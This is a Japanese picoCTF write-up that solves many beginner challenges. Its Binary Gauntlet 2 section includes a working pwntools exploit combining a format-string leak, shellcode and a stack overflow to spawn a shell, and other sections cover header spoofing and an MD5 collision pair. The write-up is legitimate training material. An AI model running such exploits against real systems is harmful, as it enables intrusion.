G1X156.8965Y5.7931
G1X158.0000Y5.7931
G1X158.8276Y5.5172
G1X159.1034Y4.9655
G1X159.1034Y4.1379
G1X158.8276Y3.5862
G1X158.0000Y3.3103
G1X157.1724Y3.3103
G0Z0.1
G0X158.0000Y5.7931
G1Z0.1
G1X158.5517Y5.5172
G1X158.8276Y4.9655
G1X158.8276Y4.1379
G1X158.5517Y3.5862
G1X158.0000Y3.3103
G1X158.5517Y3.0345
G1X159.1034Y2.4828
G1X159.3793Y1.9310
G1X159.3793Y1.1034
G1X159.1034Y0.5517
G1X158.8276Y0.2759
G1X158.0000Y0.0000
G1X156.8966Y0.0000
G1X156.0690Y0.2759
G1X155.7931Y0.5517
G1X155.5172Y1.1034
G1X155.5172Y1.3793
G1X155.7931Y1.6552
G1X156.0690Y1.3793
G1X155.7931Y1.1034
G0Z0.1
G0X158.8276Y2.7586
G1Z0.1
G1X159.1034Y1.9310
G1X159.1034Y1.1034
G1X158.8276Y0.5517
G1X158.5517Y0.2759
G1X158.0000Y0.0000
G0Z0.1
G0X163.5862Y5.5172
G1Z0.1
G1X163.3103Y5.2414
G1X163.5862Y4.9655
G1X163.8621Y5.2414
G1X163.8621Y5.5172
G1X163.5862Y5.7931
G1X163.0345Y5.7931
G1X162.4828Y5.5172
G1X162.2069Y4.9655
G1X162.2069Y0.0000
G0Z0.1
G0X163.0345Y5.7931
G1Z0.1
G1X162.7586Y5.5172
G1X162.4828Y4.9655
G1X162.4828Y0.0000
G0Z0.1
G0X161.3793Y3.8621
G1Z0.1
G1X163.5862Y3.8621
G0Z0.1
G0X161.3793Y0.0000
G1Z0.1
G1X163.3103Y0.0000
G0Z0.1
G0X166.1379Y2.2069
G1Z0.1
G1X169.4483Y2.2069
G1X169.4483Y2.7586
G1X169.1724Y3.3103
G1X168.8966Y3.5862
G1X168.3448Y3.8621
G1X167.5172Y3.8621
G1X166.6897Y3.5862
G1X166.1379Y3.0345
G1X165.8621Y2.2069
G1X165.8621Y1.6552
G1X166.1379Y0.8276
G1X166.6897Y0.2759
G1X167.5172Y0.0000
G1X168.0690Y0.0000
G1X168.8966Y0.2759
G1X169.4483Y0.8276
G0Z0.1
G0X169.1724Y2.2069
G1Z0.1
G1X169.1724Y3.0345
G1X168.8966Y3.5862
G0Z0.1
G0X167.5172Y3.8621
G1Z0.1
G1X166.9655Y3.5862
G1X166.4138Y3.0345
G1X166.1379Y2.2069
G1X166.1379Y1.6552
G1X166.4138Y0.8276
G1X166.9655Y0.2759
G1X167.5172Y0.0000
G0Z0.1
G0X172.0000Y3.3103
G1Z0.1
G1X172.0000Y3.0345
G1X171.7241Y3.0345
G1X171.7241Y3.3103
G1X172.0000Y3.5862
G1X172.5517Y3.8621
G1X173.6552Y3.8621
G1X174.2069Y3.5862
G1X174.4828Y3.3103
G1X174.7586Y2.7586
G1X174.7586Y0.8276
G1X175.0345Y0.2759
G1X175.3103Y0.0000
G0Z0.1
G0X174.4828Y3.3103
G1Z0.1
G1X174.4828Y0.8276
G1X174.7586Y0.2759
G1X175.3103Y0.0000
G1X175.5862Y0.0000
G0Z0.1
G0X174.4828Y2.7586
G1Z0.1
G1X174.2069Y2.4828
G1X172.5517Y2.2069
G1X171.7241Y1.9310
G1X171.4483Y1.3793
G1X171.4483Y0.8276
G1X171.7241Y0.2759
G1X172.5517Y0.0000
G1X173.3793Y0.0000
G1X173.9310Y0.2759
G1X174.4828Y0.8276
G0Z0.1
G0X172.5517Y2.2069
G1Z0.1
G1X172.0000Y1.9310
G1X171.7241Y1.3793
G1X171.7241Y0.8276
G1X172.0000Y0.2759
G1X172.5517Y0.0000
G0Z0.1
G0X181.1724Y3.8621
G1Z0.1
G1X180.8966Y3.0345
G1X180.3448Y2.4828
G1X179.5172Y2.2069
G1X179.2414Y2.2069
G1X178.4138Y2.4828
G1X177.8621Y3.0345
G1X177.5862Y3.8621
G1X177.5862Y4.1379
G1X177.8621Y4.9655
G1X178.4138Y5.5172
G1X179.2414Y5.7931
G1X179.7931Y5.7931
G1X180.6207Y5.5172
G1X181.1724Y4.9655
G1X181.4483Y4.1379
G1X181.4483Y2.4828
G1X181.1724Y1.3793
G1X180.8966Y0.8276
G1X180.3448Y0.2759
G1X179.5172Y0.0000
G1X178.6897Y0.0000
G1X178.1379Y0.2759
G1X177.8621Y0.8276
G1X177.8621Y1.1034
G1X178.1379Y1.3793
G1X178.4138Y1.1034
G1X178.1379Y0.8276
G0Z0.1
G0X179.2414Y2.2069
G1Z0.1
G1X178.6897Y2.4828
G1X178.1379Y3.0345
G1X177.8621Y3.8621
G1X177.8621Y4.1379
G1X178.1379Y4.9655
G1X178.6897Y5.5172
G1X179.2414Y5.7931
G0Z0.1
G0X179.7931Y5.7931
G1Z0.1
G1X180.3448Y5.5172
G1X180.8966Y4.9655
G1X181.1724Y4.1379
G1X181.1724Y2.4828
G1X180.8966Y1.3793
G1X180.6207Y0.8276
G1X180.0690Y0.2759
G1X179.5172Y0.0000
G0Z0.1
G0X184.0000Y5.7931
G1Z0.1
G1X183.4483Y3.0345
G1X184.0000Y3.5862
G1X184.8276Y3.8621
G1X185.6552Y3.8621
G1X186.4828Y3.5862
G1X187.0345Y3.0345
G1X187.3103Y2.2069
G1X187.3103Y1.6552
G1X187.0345Y0.8276
G1X186.4828Y0.2759
G1X185.6552Y0.0000
G1X184.8276Y0.0000
G1X184.0000Y0.2759
G1X183.7241Y0.5517
G1X183.4483Y1.1034
G1X183.4483Y1.3793
G1X183.7241Y1.6552
G1X184.0000Y1.3793
G1X183.7241Y1.1034
G0Z0.1
G0X185.6552Y3.8621
G1Z0.1
G1X186.2069Y3.5862
G1X186.7586Y3.0345
G1X187.0345Y2.2069
G1X187.0345Y1.6552
G1X186.7586Y0.8276
G1X186.2069Y0.2759
G1X185.6552Y0.0000
G0Z0.1
G0X184.0000Y5.7931
G1Z0.1
G1X186.7586Y5.7931
G0Z0.1
G0X184.0000Y5.5172
G1Z0.1
G1X185.3793Y5.5172
G1X186.7586Y5.7931
G0Z0.1
G0X190.1379Y5.7931
G1Z0.1
G1X190.1379Y0.0000
G0Z0.1
G0X190.4138Y5.7931
G1Z0.1
G1X190.4138Y0.0000
G0Z0.1
G0X190.4138Y3.0345
G1Z0.1
G1X190.9655Y3.5862
G1X191.5172Y3.8621
G1X192.0690Y3.8621
G1X192.8966Y3.5862
G1X193.4483Y3.0345
G1X193.7241Y2.2069
G1X193.7241Y1.6552
G1X193.4483Y0.8276
G1X192.8966Y0.2759
G1X192.0690Y0.0000
G1X191.5172Y0.0000
G1X190.9655Y0.2759
G1X190.4138Y0.8276
G0Z0.1
G0X192.0690Y3.8621
G1Z0.1
G1X192.6207Y3.5862
G1X193.1724Y3.0345
G1X193.4483Y2.2069
G1X193.4483Y1.6552
G1X193.1724Y0.8276
G1X192.6207Y0.2759
G1X192.0690Y0.0000
G0Z0.1
G0X189.3103Y5.7931
G1Z0.1
G1X190.4138Y5.7931
G0Z0.1
G0X195.7241Y6.8966
G1Z0.1
G1X196.2759Y6.6207
G1X196.5517Y6.3448
G1X196.8276Y5.7931
G1X196.8276Y5.2414
G1X196.5517Y4.6897
G1X196.2759Y4.4138
G1X196.0000Y3.8621
G1X196.0000Y3.3103
G1X196.5517Y2.7586
G0Z0.1
G0X196.2759Y6.6207
G1Z0.1
G1X196.5517Y6.0690
G1X196.5517Y5.5172
G1X196.2759Y4.9655
G1X196.0000Y4.6897
G1X195.7241Y4.1379
G1X195.7241Y3.5862
G1X196.0000Y3.0345
G1X197.1034Y2.4828
G1X196.0000Y1.9310
G1X195.7241Y1.3793
G1X195.7241Y0.8276
G1X196.0000Y0.2759
G1X196.2759Y0.0000
G1X196.5517Y-0.5517
G1X196.5517Y-1.1034
G1X196.2759Y-1.6552
G0Z0.1
G0X196.5517Y2.2069
G1Z0.1
G1X196.0000Y1.6552
G1X196.0000Y1.1034
G1X196.2759Y0.5517
G1X196.5517Y0.2759
G1X196.8276Y-0.2759
G1X196.8276Y-0.8276
G1X196.5517Y-1.3793
G1X196.2759Y-1.6552
G1X195.7241Y-1.9310
G0Z0.1

CNCで使われるNC言語で書かれている。降ってきたコードをNV Viewer( https://ncviewer.com/ )に入れてPLOTする。

solve

picoCTF{num3r1cal_c0ntr0l_f3fea95b}

Shop (50point)

sourceファイルが配布され、ncで接続すると動作する。

Shop動作画面

Quiet Quiches・Average Apple・Fruitful Flagを売り買いすることができ、Fruitful Flagを手に入れたいが最初に持っているcoinが40なため購入できない。想定外のパラメータを入れてcoinを増やすことができればいいので、整数型の上限値を入れるなど試行すると、マイナスの値を入れたときに受け付けることがわかった。

solve

出てきた数字はASCIIコードになっているので文字列に直せばpicoCTF{b4d_brogrammer_797b292c}

What's your input? (50point)

in.pyが配布され、ncで操作できる。

in.py
#!/usr/bin/python2 -u
import random

cities = open("./city_names.txt").readlines()
city = random.choice(cities).rstrip()
year = 2018

print("What's your favorite number?")
res = None
while not res:
    try:
        res = input("Number? ")
        print("You said: {}".format(res))
    except:
        res = None

if res != year:
    print("Okay...")
else:
    print("I agree!")

print("What's the best city to visit?")
res = None
while not res:
    try:
        res = input("City? ")
        print("You said: {}".format(res))
    except:
        res = None

if res == city:
    print("I agree!")
    flag = open("./flag").read()
    print(flag)
else:
    print("Thanks for your input!")

numberとcityを入力して正解すればflagが表示される。numberは2018で固定だが、cityは読み込んだcity一覧からランダムに選択されるため、簡単に当てることはできない。

Python2を使っており、脆弱性について調べるとVulnerability in input() function – Python 2.x( https://www.geeksforgeeks.org/vulnerability-input-function-python-2-x/ )というものが見つかる。これはinputで入力された値が同じ名前の変数を参照してしまうもので、これを使うと解けそうだ。City?に対して変数名と同じcityを入力する。

solve

Binary Gauntlet 2 (50point)

Gauntletシリーズ。Ghidraを使ってmain関数のデコンパイルを見てみる。

gauntlet decompile:main
undefined8 main(void)

{
  char local_78 [104];
  char *local_10;
  
  local_10 = (char *)malloc(1000);
  fgets(local_10,1000,stdin);
  local_10[999] = '\0';
  printf(local_10);
  fflush(stdout);
  fgets(local_10,1000,stdin);
  local_10[999] = '\0';
  strcpy(local_78,local_10);
  return 0;
}

Binary Gauntlet 1との違いはlocal_78のアドレスを表示する機能がなくなったことで、さらにASLRが有効になっており、毎回異なるアドレスになっている。実行時にアドレスを特定する必要がある。

1回目の入力時にFormatStringAttackが使えるため、%pを並べた入力をBinary Gauntlet 1とBinary Gauntlet 2の両方に与えて、gdb-pedaでスタック領域のアドレスを確認してみる。

Binary Gauntlet 1

Binary Gauntlet 1の出力

Binary Gauntlet 2

Binary Gauntlet 2の出力

%pの出力の6番目に注目すると、Binary Gauntlet 1は0x7fffffffe068でスタック先頭が0x7fffffffdf00で差は0x168になっている。Binary Gauntlet 2は毎回変化するが、今回は0x7ffd3adc6278でスタック先頭が0x7ffd3adc6110で差は同じく0x168で固定になっている。よってこの値から実行毎のスタックアドレスを計算することができる。

Binary Gauntlet 1でのlocal_78のアドレスは0x7fffffffdf10であったので、Binary Gauntlet 2では%pの6番目の値から0x168を引いて0x10を足した値をジャンプ先のアドレスとして同様にエクスプロイトコードを書く。

solve.py
from pwn import *

shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
padding = b''

io = remote('mercury.picoctf.net',33542)
io.sendline("%p %p %p %p %p %p")
addr = io.recvline().split()[5].decode()
print((int(addr,16)-0x168+0x10).to_bytes(8, "little"))
for i in range(128-len(shellcode)-8):
        padding += b'a'
payload = shellcode + padding + (int(addr,16)-0x168+0x10).to_bytes(8, "little")
print(payload)
io.sendline(payload)
io.interactive()

実行結果

solve

Scavenger Hunt (50point)

Webページが表示される。

Webページの表示

ソースコードを読むとflagの一部が書かれている。

<!-- Here's the first part of the flag: picoCTF{t -->

HTML中にリンクされている/mycss.cssを読むと次のflagとヒントが書かれている。

/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */

/robots.txtを読むと次のflag。ヒントはApache server。

User-agent: *
Disallow: /index.html
# Part 3: t_0f_pl4c
# I think this is an apache server... can you Access the next flag?

ヒントに従って/.htaccessを開くと次のflag。ヒントはMacOS。

# Part 4: 3s_2_lO0k
# I love making websites on my Mac, I can Store a lot of information there.

MacOSが生成する/.DS_Storeを開くと最後のflagがある。

Congrats! You completed the scavenger hunt. Part 5: _f7ce8828}

picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_f7ce8828}

MacroHard WeakEdge (60point)

Forensics is fun.pptmが配布される。単純に開いても何もないので、Forensics is fun.zipに拡張子を変更して解凍する。解凍してでてきたファイルを探っていくと、ppt/slideMasters/hiddenというファイルが見つかる。

Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q

中身はbase64になっており、デコードするとflag: picoCTF{D1d_u_kn0w_ppts_r_z1p5}

Who are you? (60point)

大苦戦した。アクセスするとこのサイトで許可されているのは公式picoブラウザを使う人だけだと怒られる。

Webページの表示

ヒントがHTTPヘッダなので、HTTPリクエストヘッダのUser-AgentUser-Agent: PicoBrowserにしてアクセスする。ヘッダの書き換えにはBurp Suiteを使用した。

画像は割愛。ユーザーエージェントを書き換えると今度はI don't trust users visiting from another site.と怒られるので、Referer: http://mercury.picoctf.net:38322/を追加する。以下、表示される警告と追加したHTTPリクエストヘッダのまとめ

「Only people who use the official PicoBrowser are allowed on this site!」
→ User-Agent: PicoBrowser

「I don't trust users visiting from another site.」
→ Referer: http://mercury.picoctf.net:38322/

「Sorry, this site only worked in 2018.」
→ Date: Sun, 21 Oct 2018 07:28:00 GMT

「I don't trust users who can be tracked.」
→ DNT: 1

「This website is only for people from Sweden.」
→ X-Forwarded-For:46.246.82.7


「You're in Sweden but you don't speak Swedish?」
→ Accept-Language: sv-SE,sv

どうしてもスウェーデン人になれずに苦戦し、他の参加者の方が突破口を開いてくれた。X-Forwarded-Forにスウェーデンのアドレス(今回はスウェーデンにあるプロキシ)を入れればスウェーデン人になることができた。以上の全てをリクエストヘッダに追加するとflagが得られる。

solve

New Caesar (60point)

暗号化を行うスクリプトnew_caesar.pyと暗号化済みテキストが配布される。

kjlijdliljhdjdhfkfkhhjkkhhkihlhnhghekfhmhjhkhfhekfkkkjkghghjhlhghmhhhfkikfkfhm

new_caesar.pyの中身は以下の通り。

new_caeser.py
import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]

def b16_encode(plain):
        enc = ""
        for c in plain:
                binary = "{0:08b}".format(ord(c))
                enc += ALPHABET[int(binary[:4], 2)]
                enc += ALPHABET[int(binary[4:], 2)]
        return enc

def shift(c, k):
        t1 = ord(c) - LOWERCASE_OFFSET
        t2 = ord(k) - LOWERCASE_OFFSET
        return ALPHABET[(t1 + t2) % len(ALPHABET)]

flag = "redacted"
key = "redacted"
assert all([k in ALPHABET for k in key])
assert len(key) == 1

b16 = b16_encode(flag)
enc = ""
for i, c in enumerate(b16):
        enc += shift(c, key[i % len(key)])
print(enc)

1byteの文字を4bitずつに区切って16文字のアルファベットに置き換えたあとでシーザー暗号をかけている。assert len(key) == 1を見るとkeyの長さは1文字のため、そのままデコーダを作って16種類を総当りにする。半角英数字の範囲は1byteの半分までしか使わないことから、誤ったkeyでは半角英数字の範囲を超えて文字化けすることが期待される。

solve.py
import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]

def b16_decode(dec):
        plain = ""
        for c in range(0,len(dec),2):
                binary = (ord(dec[c])-LOWERCASE_OFFSET)*16 + (ord(dec[c+1])-LOWERCASE_OFFSET)
                plain += chr(binary)
        return plain

def unshift(c, k):
        t1 = ord(c) - LOWERCASE_OFFSET
        t2 = ord(k) - LOWERCASE_OFFSET
        return ALPHABET[(t1 - t2) % len(ALPHABET)]



encflag = "kjlijdliljhdjdhfkfkhhjkkhhkihlhnhghekfhmhjhkhfhekfkkkjkghghjhlhghmhhhfkikfkfhm"

for i in range(16):
        key = ALPHABET[i]
        dec = ""
        for i, c in enumerate(encflag):
                dec += unshift(c, key[i % len(key)])
        print(b16_decode(dec)+"\n")

実行結果。

solve

それっぽい文字列が出力されている。答えはpicoCTF{et_tu?_1ac5f3d7920a85610afeb2572831daa8}

ARMssembly 1 (70point)

ARMssemblyシリーズ。アセンブラが書かれたchall_1.Sが配布され、このプログラムに引数としてどんな値を与えるとwinが表示されるかを調べる。

class_1.S
        .arch armv8-a
        .file   "chall_1.c"
        .text
        .align  2
        .global func
        .type   func, %function
func:
        sub     sp, sp, #32
        str     w0, [sp, 12]
        mov     w0, 79
        str     w0, [sp, 16]
        mov     w0, 7
        str     w0, [sp, 20]
        mov     w0, 3
        str     w0, [sp, 24]
        ldr     w0, [sp, 20]
        ldr     w1, [sp, 16]
        lsl     w0, w1, w0
        str     w0, [sp, 28]
        ldr     w1, [sp, 28]
        ldr     w0, [sp, 24]
        sdiv    w0, w1, w0
        str     w0, [sp, 28]
        ldr     w1, [sp, 28]
        ldr     w0, [sp, 12]
        sub     w0, w1, w0
        str     w0, [sp, 28]
        ldr     w0, [sp, 28]
        add     sp, sp, 32
        ret
        .size   func, .-func
        .section        .rodata
        .align  3
.LC0:
        .string "You win!"
        .align  3
.LC1:
        .string "You Lose :("
        .text
        .align  2
        .global main
        .type   main, %function
main:
        stp     x29, x30, [sp, -48]!
        add     x29, sp, 0
        str     w0, [x29, 28]
        str     x1, [x29, 16]
        ldr     x0, [x29, 16]
        add     x0, x0, 8
        ldr     x0, [x0]
        bl      atoi
        str     w0, [x29, 44]
        ldr     w0, [x29, 44]
        bl      func
        cmp     w0, 0
        bne     .L4
        adrp    x0, .LC0
        add     x0, x0, :lo12:.LC0
        bl      puts
        b       .L6
.L4:
        adrp    x0, .LC1
        add     x0, x0, :lo12:.LC1
        bl      puts
.L6:
        nop
        ldp     x29, x30, [sp], 48
        ret
        .size   main, .-main
        .ident  "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
        .section        .note.GNU-stack,"",@progbits

前回と同じく64bitのARMになっているので、aarch64-linux-gnuでクロスコパイルする。

aarch64-linux-gnu-as -o chall_1.o chall_1.S

前回と同じくGhidraに読ませた。

chall_1.o decompile
ulonglong main(undefined8 param_1,longlong param_2)

{
  int iVar1;
  uint uVar2;
  ulonglong uVar3;
  
  iVar1 = atoi(*(char **)(param_2 + 8));
  uVar3 = func(iVar1);
  if ((int)uVar3 == 0) {
    uVar2 = puts("You win!");
  }
  else {
    uVar2 = puts("You Lose :(");
  }
  return (ulonglong)uVar2;
}

ulonglong func(int param_1)

{
  return (ulonglong)(0xd2a - param_1);
}

逆コンパイルされたmain関数とfunc関数を見ると、入力値と0xd2aを減算した結果が0のときにYou win!を出力する。よって答えは0xd2aで、回答は小文字の16進数を0xを除いて答えるように指定されているので、flagはpicoCTF{00000d2a}

Some Assembly Required 1 (70point)

入力フォームのあるWebページと難読化されたJavaScriptが与えられる。

Webページの表示
G82XCw5CX3.js
const _0x402c=['value','2wfTpTR','instantiate','275341bEPcme','innerHTML','1195047NznhZg','1qfevql','input','1699808QuoWhA','Correct!','check_flag','Incorrect!'
,'./JIFxzHyW8W','23SMpAuA','802698XOMSrr','charCodeAt','474547vVoGDO','getElementById','instance','copy_char','43591XxcWUl','504454llVtzW','arrayBuffer','2NIQmVj','result'
];const _0x4e0e=function(_0x553839,_0x53c021){_0x553839=_0x553839-0x1d6;let _0x402c6f=_0x402c[_0x553839];return _0x402c6f;};(function(_0x76dd13,_0x3dfcae){const _0x371ac6=
_0x4e0e;while(!![]){try{const _0x478583=-parseInt(_0x371ac6(0x1eb))+parseInt(_0x371ac6(0x1ed))+-parseInt(_0x371ac6(0x1db))*-parseInt(_0x371ac6(0x1d9))+-parseInt(_0x371ac6(
0x1e2))*-parseInt(_0x371ac6(0x1e3))+-parseInt(_0x371ac6(0x1de))*parseInt(_0x371ac6(0x1e0))+parseInt(_0x371ac6(0x1d8))*parseInt(_0x371ac6(0x1ea))+-parseInt(_0x371ac6(0x1e5)
);if(_0x478583===_0x3dfcae)break;else _0x76dd13['push'](_0x76dd13['shift']());}catch(_0x41d31a){_0x76dd13['push'](_0x76dd13['shift']());}}}(_0x402c,0x994c3));let exports;(
async()=>{const _0x48c3be=_0x4e0e;let _0x5f0229=await fetch(_0x48c3be(0x1e9)),_0x1d99e9=await WebAssembly[_0x48c3be(0x1df)](await _0x5f0229[_0x48c3be(0x1da)]()),
_0x1f8628=_0x1d99e9[_0x48c3be(0x1d6)];exports=_0x1f8628['exports'];})();function onButtonPress(){const _0xa80748=_0x4e0e;let _0x3761f8=document['getElementById'](_0xa80748
(0x1e4))[_0xa80748(0x1dd)];for(let _0x16c626=0x0;_0x16c626<_0x3761f8['length'];_0x16c626++){exports[_0xa80748(0x1d7)](_0x3761f8[_0xa80748(0x1ec)](_0x16c626),_0x16c626);
}exports['copy_char'](0x0,_0x3761f8['length']),exports[_0xa80748(0x1e7)]()==0x1?document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e6):document
[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e8);}

難読化が難しそうに見えるが、例えばGoogleChromeのF12からWebAssemblyのコードを表示できるので復号化済みのflagを簡単に入手できる。

solve

ARMssembly 2 (90point)

ARMssemblyシリーズ。アセンブラが書かれたchall_2.Sが配布され、このプログラムの引数に4189673334を与えたときの出力値を調べる。

chall_2.S
        .arch armv8-a
        .file   "chall_2.c"
        .text
        .align  2
        .global func1
        .type   func1, %function
func1:
        sub     sp, sp, #32
        str     w0, [sp, 12]
        str     wzr, [sp, 24]
        str     wzr, [sp, 28]
        b       .L2
.L3:
        ldr     w0, [sp, 24]
        add     w0, w0, 3
        str     w0, [sp, 24]
        ldr     w0, [sp, 28]
        add     w0, w0, 1
        str     w0, [sp, 28]
.L2:
        ldr     w1, [sp, 28]
        ldr     w0, [sp, 12]
        cmp     w1, w0
        bcc     .L3
        ldr     w0, [sp, 24]
        add     sp, sp, 32
        ret
        .size   func1, .-func1
        .section        .rodata
        .align  3
.LC0:
        .string "Result: %ld\n"
        .text
        .align  2
        .global main
        .type   main, %function
main:
        stp     x29, x30, [sp, -48]!
        add     x29, sp, 0
        str     w0, [x29, 28]
        str     x1, [x29, 16]
        ldr     x0, [x29, 16]
        add     x0, x0, 8
        ldr     x0, [x0]
        bl      atoi
        bl      func1
        str     w0, [x29, 44]
        adrp    x0, .LC0
        add     x0, x0, :lo12:.LC0
        ldr     w1, [x29, 44]
        bl      printf
        nop
        ldp     x29, x30, [sp], 48
        ret
        .size   main, .-main
        .ident  "GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
        .section        .note.GNU-stack,"",@progbits

前回と同じく64bitのARMになっているので、aarch64-linux-gnuでクロスコンパイルする。

aarch64-linux-gnu-as -o chall_2.o chall_2.S

前回と同じくGhidraに読ませた。

chall_2.o decompile
ulonglong main(undefined8 param_1,longlong param_2)

{
  uint uVar1;
  ulonglong uVar2;
  
  uVar1 = atoi(*(char **)(param_2 + 8));
  uVar2 = func1(uVar1);
  uVar1 = printf("Result: %ld\n",uVar2 & 0xffffffff);
  return (ulonglong)uVar1;
}

ulonglong func1(uint param_1)

{
  uint local_8;
  uint local_4;
  
  local_8 = 0;
  local_4 = 0;
  while (local_4 < param_1) {
    local_8 = local_8 + 3;
    local_4 = local_4 + 1;
  }
  return (ulonglong)local_8;
}

逆コンパイルされたmain関数とfunc1関数を見ると、入力値の数だけ0で初期化された変数に3を加算し続けた結果を出力するものになっている。入力値は4189673334なので、出力値は3倍の12569020002になる。ただし出力時に0xffffffffでANDして下32bitを出力するので、答えは0xed2c0662。回答は小文字の16進数を0xを除いて答えるように指定されているので、flagはpicoCTF{ed2c0662}

It is my Birthday (100point)

MD5ハッシュ値が衝突するPDFファイルを2つ作ってアップロードすればよい。

問題ページ
solve.py
from Crypto.Util.number import bytes_to_long, long_to_bytes

str1 = 0x4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
str2 = 0x4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2

with open("d1.pdf", mode='xb') as f:
    f.write(long_to_bytes(str1))

with open("d2.pdf", mode='xb') as f:
    f.write(long_to_bytes(str2))

ネット上から適当にMD5の衝突サンプルを拾ってきた。PDFファイルとしての整合性までは要求されていないようで、拡張子がPDFで容量が同一であれば通る。

solve

PDFが通るとflagが書かれたページのソースが表示される。

Wireshark twoo twooo two twoo... (100point)

Wiresharkシリーズ第2弾。パケットを読むとpicoCTFが書かれたものがたくさん見つかる。

 picoCTF{bfe48e8500c454d647c55a4471985e776a07b26cba64526713f43758599aa98b}
 picoCTF{b4cc138bb0f7f9da7e35085e349555aa6d00bdca3b021c1fe8663c0a422ce0d7}
 picoCTF{983e5e2703a132a49479e438bfba15ee5d02345b03d410b8163b685973937da7}
 picoCTF{d342a46e8179de9941720c5e0eeac0d0fae9d3014d2ddcf531a7865a997b00e5}
 picoCTF{2133904cfe757bc6c68c3e5f3749b37d67d7fa6ffb2768410be593d3fe8c4bd4}
 picoCTF{29b726b9a57d176e1487d159474ee7e6508b66c05c526a00c942a8cebb6bb496}
 picoCTF{7302b0dca07cd890c75e38d78d7e74d7bbf2b932f555aaf5b6754f56e778e3fc}
 picoCTF{22e018bb8282e9d7852ed4e65f70a26524dabef78cf41e1db45c070c94621c57}
 picoCTF{40f366ccf0f6462f5b8b1dc4d7384a62aa95565afcaad96a937b8c1f1134099b}
 picoCTF{db38cbc215cde0d9cd52cbca2390defdb54303e998019a5c4ddaf9861b54efcb}
 picoCTF{090fa8ec995ab9fc9f97cbe9ea36cb81c4504a3ca02466ddd207cfe7f785cb5c}
 picoCTF{947b91a983c93217304f8e5b112e93eaf619e6a9386ab93be93a9b67e53b2fda}
 picoCTF{41b8a1a796bd8d202016f75bc5b38889e9ea06007e6b22fc856d380fb7573133}
 picoCTF{a3ed2f602322f749f4cb016515e25b67749efd08ac2f2c53023596cbf0dcbd0f}
 picoCTF{8e625859eb325d2a69934e4a44c93fcc132e813efb3fdaaa5143147678e9cbf9}
 picoCTF{8d43c4889ee5b507d1785adfa2592f2fb3d7cf20ebf37ce46595edc46fba3f6d}
 picoCTF{0020d021e9e38dbb5a5fa432175089d8b76e4a900618c95f8cae14fedaa45b63}
 picoCTF{69e96b10f560a6a0656a6d950e73e41bcf4226c424bb5622839dda0c66755b14}
 picoCTF{34c6ca47d858ab18aa2008f4ac31c31570c46186939e6b46458b19082122d4bd}
 picoCTF{ebfcebe696b1fdbba2abb3b003165152456bd83b6ddfbf180ca366de0dec1b0c}
 picoCTF{aa125aaeb4723f69dceaa90125a8099a6f3fe0259e068fd82dcbeb76131448bb}
 picoCTF{80d65857d8d81a92769e8cd136376522d113c4298b331318ce7adcbf5e70104d}
 picoCTF{00ae773ce4a4b3cf3287f072c13ec7139a74207de635de9d115087bc4f312bae}
 picoCTF{9812bc4be04e6f9c803152313db3da53b3dfb799bdb05aac46fa0dd0045d2fc2}
 picoCTF{7e808778b7250893922a17d53f10365b009a7624935850ac5c8140461e49d579}
 picoCTF{33e80d6e9f56c1f7705c73566d347ccb32b4662171f224b6dfcb6c8fce4f1601}
 picoCTF{5d921ffbe2709ba82d09603a095530aedae41ab96fd052140cbc64319b7ab0ac}
 picoCTF{977b385d5dd6abde9cb89ee940b5cfb7179d73d989c6993346d278bff003c154}
 picoCTF{ca7d3b029817de8f318d8fa521ad1b569f4e8a37358373193522cc7f5628ed49}
 picoCTF{a820680ab6444b1daf5281192f337aefb4aa95a313c9f270804ef7826ecc298c}
 picoCTF{998d01dadf1b44eb4ec7b7e8fa11f11bcd2d7d86f3f9e4966dde22d4a84ca113}
 picoCTF{cb8fe3ec65f890e2f0570c98c4edd3fe4115bc059ac2afb39300c7b66f2302c4}
 picoCTF{bc2af8cbe0ae0befdd28b14412295243354cd3c7cc74e88d8facb2fd5e6ef34d}
 picoCTF{09082a0313e16fc36f8076ff86e54e83048a8568f5c2294fea5fb3bcd212e7f2}
 picoCTF{64cf3ede3736a340fdf2954be5151ce53bec291c5e48cbccb44faa529946e249}
 picoCTF{2386746aeb258914349dc81a85cb5de72e47930c7f11759b4ad9f864efa7b5aa}
 picoCTF{173306d7b886423d9f79d3d0d05209807ae7b83c445931319830e4e0ad2d2f09}
 picoCTF{6cb98e2295bbe1f15fd8b8b5908de360d386b98a0ce7e0407e001b453b05be22}
 picoCTF{132e643c8fdadb54c366072cb33940411fcfd355209fc1ce9b2022ad1cd1b060}
 picoCTF{044ffca72f0f191b0715ff1a9bff182c810cb2786370cbf8cdc1943c2e7aedf6}
 picoCTF{b278104c2602442e3db401749c30527d80ba560f9a02c939cb4ff6ea189a140d}
 picoCTF{7282e048d6d32383b65f3a03b1101219ac73f7f538446b78d1b2b334e0985447}
 picoCTF{98406c4acbf0f57b3ccbc923aab5a603d70f86d507f422d9bd8656398f53433e}
 picoCTF{3fe0b2788f30d9cb9f77d3b2752f13c554fe7f0e7a2883e57c8a44b34f35675c}
 picoCTF{c50d259a4e172fcb2eddbabeebd272473e4882b76c9efcd12c03ac04429d884a}
 picoCTF{bda69bdf8f570a9aaab0e4108a0fa5f64cb26ba7d2269bb63f68af5d98b98245}
 picoCTF{0a024b7d39603756feafa2bbaa1603b14a99eae5dcd59f1d957f511d822c8c06}
